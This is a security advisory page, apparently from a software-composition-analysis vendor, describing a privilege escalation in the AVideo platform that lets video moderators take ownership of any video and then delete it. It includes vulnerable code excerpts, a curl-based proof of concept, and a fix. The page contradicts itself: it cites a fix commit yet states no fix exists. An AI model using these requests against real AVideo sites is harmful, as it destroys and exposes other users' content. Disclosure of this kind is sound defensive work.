Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-8x77-f38v-4m5j wwbn/avideo

HIGHFix: WWBN/AVideo@838e168

GHSA-8x77-f38v-4m5j is a high-severity (CVSS 7.6) CWE-863 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

Also known asCVE-2026-33650
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-8x77-f38v-4m5j.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-8x77-f38v-4m5j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.

Details

The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:

$permissions[] = new PluginPermissionOption(
    Permissions::PERMISSION_INACTIVATEVIDEOS, 
    __('Videos Moderator'), 
    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 
    'Permissions'
);

However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:

1. Upload gate bypass (videoAddNew.json.php:10): User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.

2. Edit gate bypass (videoAddNew.json.php:19):

if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
    die('{"error":"2 ' . __("Permission denied") . '"}');
}

Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.

3. Ownership transfer (videoAddNew.json.php:222):

if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || 
    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
    $obj->setUsers_id($_POST['users_id']);
}

userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.

4. Delete via ownership (videoDelete.json.php:22-28):

if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
    if (!$video->userCanManageVideo()) {
        // denied
    }
}
$id = $video->delete();

userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.

The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.

Additional fields a moderator can modify beyond their intended scope:

  • only_for_paid (line 210) — make premium content free
  • video_password (line 211) — change/remove password protection
  • categories_id (line 168) — alter content categorization
  • videoGroups (line 175) — modify user group visibility

PoC

Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.

Step 1: Transfer ownership of target video to attacker

# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: {"status":true, ...} — ownership is now transferred to the attacker.

Step 2: Delete the video (now owned by attacker)

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.

Step 3 (additional impact): Access password-protected video

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the video password, granting the moderator (and everyone) access to previously protected content.

Impact

  • Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
  • Content tampering: Moderator can change paid content flags (only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."
  • Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
  • Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
  • Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.

The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.

Recommended Fix

Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.

Fix for ownership transfer (videoAddNew.json.php:222):

// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...

// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...

Fix for edit gate (videoAddNew.json.php:19):

// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {

// After (fixed): 
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {

Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-8x77-f38v-4m5j yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8x77-f38v-4m5j can be triaged on real exposure rather than presence alone.

Tailored to GHSA-8x77-f38v-4m5j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
O3 Security · Impact-Aware SCA

Is GHSA-8x77-f38v-4m5j in your dependencies?

O3 Security finds GHSA-8x77-f38v-4m5j across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-8x77-f38v-4m5j: wwbn/avideo | O3 Security